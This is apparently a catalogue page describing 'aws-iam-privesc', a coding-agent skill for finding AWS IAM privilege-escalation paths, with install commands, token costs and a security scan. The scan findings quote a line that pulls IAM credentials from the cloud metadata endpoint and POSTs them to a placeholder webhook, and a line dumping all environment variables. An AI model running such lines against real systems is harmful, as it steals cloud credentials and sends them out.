aws-iam-privesc

aws-iam-privesc is a skill for Claude Code, Codex from wgpsec/AboutSecurity. It costs 104 tokens per session (6,197 once invoked), scanned F, original, no licence file.

A methodology for finding privilege-escalation paths in AWS Identity and Access Management (IAM), the system that controls access to AWS resources.

In plain words
What is it for?
Use it when analyzing IAM policies and possible paths involving roles, PassRole, AssumeRole, Lambda, EC2, ECS, and other listed AWS services.
Why use it?
It helps analyze limited AWS permissions and identify ways they might lead to broader access. The input does not provide enough detail to describe safe operational boundaries.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Use it when analyzing IAM policies and possible paths involving roles, PassRole, AssumeRole, Lambda, EC2, ECS, and other listed AWS services.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/wgpsec/aboutsecurity/aws-iam-privesc
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add wgpsec/AboutSecurity --skill aws-iam-privesc
Clone the repo
git clone --depth 1 https://github.com/wgpsec/AboutSecurity

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for aws-iam-privesc

README.md
[![agentmods](https://agentmods.dev/badge/skills/wgpsec/aboutsecurity/aws-iam-privesc/github.svg)](https://agentmods.dev/skills/wgpsec/aboutsecurity/aws-iam-privesc)
Your own site
<a href="https://agentmods.dev/skills/wgpsec/aboutsecurity/aws-iam-privesc"><img src="https://agentmods.dev/badge/skills/wgpsec/aboutsecurity/aws-iam-privesc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for aws-iam-privesc

Your own site · 80×15
<a href="https://agentmods.dev/skills/wgpsec/aboutsecurity/aws-iam-privesc"><img src="https://agentmods.dev/badge/skills/wgpsec/aboutsecurity/aws-iam-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 104 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,197 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 4 findings. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review Sonnet 5 · 6 Sept 2026 📄 Read the review Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Data Exfiltration · line 175
    Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.
    Fix: Read only explicitly required environment variables by name. Avoid enumerating or copying the full environment, and never log or transmit credentials to untrusted destinations.
  • high Server-Side Request Forgery · line 196
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • medium Data Exfiltration · line 196
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00104 $0.06197
Opus 5.5 $0.00042 $0.02479
Sonnet 5.5 $0.00021 $0.01239
Haiku 4.5 $0.00010 $0.00620

Measured 1mo ago against content hash 440b0e9a5a86, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade F, and why

aws-iam-privesc scanned grade F with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | curl -X POST -d @- https://<webhook>'

Harvests environment variableshighData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

return {'env': dict(os.environ)}

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | curl -X POST -d @- https://<webhook>'

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | curl -X POST -d @- https://<webhook>'
skills/cloud/aws-iam-privesc/SKILL.md · 438 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Files

What ships with it

3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago Changed · +11 lines 440b0e9a5a86
  2. 3mo ago First seen · 427 lines · 104 tokens per session scan F 35271fb02057

Subscribe to this mod's changes

aws-iam-privesc is a skill published in the GitHub repository wgpsec/AboutSecurity (1,973 stars, last pushed 1mo ago), with no licence file. It adds 104 tokens to every session and 6,197 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it F with 4 findings (sends data to an external url, harvests environment variables, cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

aws-iam-privesc compared with skills from other repositories

aws-iam-privesc next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
aws-iam-privescwgpsec/AboutSecuritySkill2.0k1mo agononeF104Claude Code, Codex
signature-replayPurpleAILAB/DecepticonSkill6.9k10d agoApache-2.0A31Claude Code, Codex
supply-chainPurpleAILAB/DecepticonSkill6.9k10d agoApache-2.0A52Claude Code, Codex
mfa-bypassPurpleAILAB/DecepticonSkill6.9k10d agoApache-2.0A49Claude Code
race-conditionPurpleAILAB/DecepticonSkill6.9k10d agoApache-2.0A80Claude Code, Codex
llm-redteam-overviewPurpleAILAB/DecepticonSkill6.9k10d agoApache-2.0A58Claude Code
aatmf-t03-reasoning-exploitPurpleAILAB/DecepticonSkill6.9k10d agoApache-2.0A40Claude Code, Codex